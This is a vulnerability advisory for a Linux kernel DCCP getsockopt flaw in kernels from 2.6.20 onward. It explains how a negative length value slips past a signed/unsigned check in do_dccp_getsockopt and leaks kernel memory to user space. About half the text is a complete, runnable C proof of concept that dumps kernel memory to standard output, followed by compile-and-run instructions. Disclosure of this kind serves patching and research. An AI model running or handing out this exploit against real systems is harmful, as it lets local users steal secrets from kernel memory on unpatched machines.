Linux Kernel

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     Linux Kernel DCCP Memory Disclosure Vulnerability Synopsis: The Linux kernel is susceptible to a locally exploitable flaw
     which may allow local users to steal data from the kernel memory. Vulnerable Systems: Linux Kernel Versions: >= 2.6.20 with DCCP support enabled.
     Kernel versions <2.6.20 lack
     DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for
     getsockopt() call with SOL_DCCP level, which are used in the
     delivered POC code. Author: Robert Swiecki
     http://www.swiecki.net
     robert@swiecki.net Details: The flaw exists in do_dccp_getsockopt() function in
     net/dccp/proto.c file. -----------------------
     static int do_dccp_getsockopt(struct sock *sk, int level, int optname,
     char __user *optval, int __user *optlen)
     ...
     if (get_user(len, optlen))
     return -EFAULT;
     if (len < sizeof(int))
     return -EINVAL;
     ...
     ----------------------- The above code doesn't check `len' variable for negative values.
     Because of cast typing (len < sizeof(int)) is always true for
     `len' values less than 0. After that copy_to_user() procedure is called: -----------------------
     if (put_user(len, optlen) || copy_to_user(optval, &val, len))
     return -EFAULT;
     ----------------------- What happens next depends greatly on the cpu architecture in-use -
     each cpu architecture has its own copy_to_user() implementation. On
     the IA-32 the code below ... -----------------------
     unsigned long
     copy_to_user(void __user *to, const void *from, unsigned long n)
     {
     BUG_ON((long) n < 0);
     ----------------------- ... will prevent explotation, but kernel will oops due to
     invalid opcode in BUG_ON(). On some other architectures (e.g. x86-64) kernel-space data will
     be copied to the user supplied buffer until end-of-kernel space
     (pagefault in kernel-mode occurs) is reached. POC: ----------------------- */ #include <netinet/in.h>
     #include <stdio.h>
     #include <sys/types.h>
     #include <sys/socket.h>
     #include <net/if.h>
     #include <sys/mman.h>
     #include <linux/net.h> #define BUFSIZE 0x10000000 int main(int argc, char *argv[])
     {
     void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
     MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
     if (!mem) {
     printf("Cannot allocate mem\n");
     return 1;
     }
     /* SOCK_DCCP, IPPROTO_DCCP */
     int s = socket(PF_INET, 6, 33);
     if (s == -1) {
     fprintf(stderr, "socket failure!\n");
     return 1;
     }
     int len = -1;
     /* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
     int x = getsockopt(s, 269, 11, mem, &len); if (x == -1)
     perror("SETSOCKOPT");
     else
     printf("SUCCESS\n"); write(1, mem, BUFSIZE); return 0;
     } //-----------------------
     //make poc; ./poc | strings
     //-----------------------